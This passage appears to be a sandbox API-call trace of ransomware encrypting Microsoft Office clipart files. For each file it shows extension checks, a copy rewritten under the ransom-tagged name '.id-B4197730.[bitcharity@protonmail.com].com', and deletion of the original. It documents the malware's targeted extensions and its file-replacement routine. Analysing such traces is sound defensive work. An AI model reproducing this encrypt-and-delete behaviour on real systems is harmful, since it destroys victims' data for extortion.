[0296.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.592] lstrlenW (lpString=".bz2") returned 4 [0296.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.592] lstrlenW (lpString=".7z") returned 3 [0296.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.592] lstrlenW (lpString=".dbf") returned 4 [0296.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.592] lstrlenW (lpString=".1cd") returned 4 [0296.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.592] lstrlenW (lpString=".jpg") returned 4 [0296.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.592] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.592] lstrlenW (lpString="DD01772_.WMF") returned 12 [0296.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.592] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2300) returned 1 [0296.592] CloseHandle (hObject=0x10bc) returned 1 [0296.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0296.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.593] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.593] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.593] GetLastError () returned 0x0 [0296.593] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0296.785] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x900, lpOverlapped=0x0) returned 1 [0296.788] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.788] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.788] SetEndOfFile (hFile=0x10dc) returned 1 [0296.788] CloseHandle (hObject=0x10dc) returned 1 [0296.788] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.788] SetEndOfFile (hFile=0x10bc) returned 1 [0296.789] CloseHandle (hObject=0x10bc) returned 1 [0296.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0296.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.789] lstrlenW (lpString=".doc") returned 4 [0296.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.789] lstrlenW (lpString=".docx") returned 5 [0296.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.789] lstrlenW (lpString=".pdf") returned 4 [0296.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString=".xls") returned 4 [0296.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.790] lstrlenW (lpString=".xlsx") returned 5 [0296.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.790] lstrlenW (lpString=".ppt") returned 4 [0296.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString=".zip") returned 4 [0296.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.790] lstrlenW (lpString=".rar") returned 4 [0296.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString=".bz2") returned 4 [0296.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString=".7z") returned 3 [0296.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString=".dbf") returned 4 [0296.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString=".1cd") returned 4 [0296.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString=".jpg") returned 4 [0296.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.790] lstrlenW (lpString=".doc") returned 4 [0296.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString=".docx") returned 5 [0296.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.790] lstrlenW (lpString=".pdf") returned 4 [0296.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.790] lstrlenW (lpString=".xls") returned 4 [0296.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.790] lstrlenW (lpString=".xlsx") returned 5 [0296.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.791] lstrlenW (lpString=".ppt") returned 4 [0296.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.791] lstrlenW (lpString=".zip") returned 4 [0296.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.791] lstrlenW (lpString=".rar") returned 4 [0296.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.791] lstrlenW (lpString=".bz2") returned 4 [0296.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.791] lstrlenW (lpString=".7z") returned 3 [0296.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.791] lstrlenW (lpString=".dbf") returned 4 [0296.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.791] lstrlenW (lpString=".1cd") returned 4 [0296.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0296.791] lstrlenW (lpString=".jpg") returned 4 [0296.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.791] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.791] lstrlenW (lpString="EN00222_.WMF") returned 12 [0296.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.792] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=12356) returned 1 [0296.792] CloseHandle (hObject=0x10bc) returned 1 [0296.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0296.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.792] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.792] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.793] GetLastError () returned 0x0 [0296.793] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x3044, lpOverlapped=0x0) returned 1 [0297.451] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x3050, lpOverlapped=0x0) returned 1 [0297.452] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.453] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.453] SetEndOfFile (hFile=0x10dc) returned 1 [0297.453] CloseHandle (hObject=0x10dc) returned 1 [0297.453] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.453] SetEndOfFile (hFile=0x10bc) returned 1 [0297.454] CloseHandle (hObject=0x10bc) returned 1 [0297.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0297.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.455] lstrlenW (lpString=".doc") returned 4 [0297.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.455] lstrlenW (lpString=".docx") returned 5 [0297.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.455] lstrlenW (lpString=".pdf") returned 4 [0297.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.455] lstrlenW (lpString=".xls") returned 4 [0297.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.455] lstrlenW (lpString=".xlsx") returned 5 [0297.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.455] lstrlenW (lpString=".ppt") returned 4 [0297.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.455] lstrlenW (lpString=".zip") returned 4 [0297.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.455] lstrlenW (lpString=".rar") returned 4 [0297.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.455] lstrlenW (lpString=".bz2") returned 4 [0297.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString=".7z") returned 3 [0297.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString=".dbf") returned 4 [0297.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString=".1cd") returned 4 [0297.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString=".jpg") returned 4 [0297.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString=".doc") returned 4 [0297.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString=".docx") returned 5 [0297.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.456] lstrlenW (lpString=".pdf") returned 4 [0297.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString=".xls") returned 4 [0297.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.456] lstrlenW (lpString=".xlsx") returned 5 [0297.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.456] lstrlenW (lpString=".ppt") returned 4 [0297.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.456] lstrlenW (lpString=".zip") returned 4 [0297.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.457] lstrlenW (lpString=".rar") returned 4 [0297.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString=".bz2") returned 4 [0297.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString=".7z") returned 3 [0297.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.457] lstrlenW (lpString=".dbf") returned 4 [0297.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.457] lstrlenW (lpString=".1cd") returned 4 [0297.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0297.457] lstrlenW (lpString=".jpg") returned 4 [0297.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.457] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.457] lstrlenW (lpString="EN00320_.WMF") returned 12 [0297.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.458] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=736) returned 1 [0297.458] CloseHandle (hObject=0x10bc) returned 1 [0297.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0297.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0297.458] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.458] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0297.459] GetLastError () returned 0x0 [0297.459] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0297.600] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0297.601] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.601] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.601] SetEndOfFile (hFile=0x10dc) returned 1 [0297.602] CloseHandle (hObject=0x10dc) returned 1 [0297.602] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.602] SetEndOfFile (hFile=0x10bc) returned 1 [0297.603] CloseHandle (hObject=0x10bc) returned 1 [0297.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0297.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.603] lstrlenW (lpString=".doc") returned 4 [0297.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.603] lstrlenW (lpString=".docx") returned 5 [0297.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.604] lstrlenW (lpString=".pdf") returned 4 [0297.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString=".xls") returned 4 [0297.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.604] lstrlenW (lpString=".xlsx") returned 5 [0297.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.604] lstrlenW (lpString=".ppt") returned 4 [0297.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.604] lstrlenW (lpString=".zip") returned 4 [0297.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.604] lstrlenW (lpString=".rar") returned 4 [0297.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString=".bz2") returned 4 [0297.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString=".7z") returned 3 [0297.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.604] lstrlenW (lpString=".dbf") returned 4 [0297.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.604] lstrlenW (lpString=".1cd") returned 4 [0297.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.605] lstrlenW (lpString=".jpg") returned 4 [0297.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.605] lstrlenW (lpString=".doc") returned 4 [0297.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString=".docx") returned 5 [0297.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.605] lstrlenW (lpString=".pdf") returned 4 [0297.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString=".xls") returned 4 [0297.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.605] lstrlenW (lpString=".xlsx") returned 5 [0297.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.605] lstrlenW (lpString=".ppt") returned 4 [0297.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0297.605] lstrlenW (lpString=".zip") returned 4 [0297.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.605] lstrlenW (lpString=".rar") returned 4 [0297.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString=".bz2") returned 4 [0297.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.605] lstrlenW (lpString=".7z") returned 3 [0297.605] lstrcmpiW (lpString1=".7z", 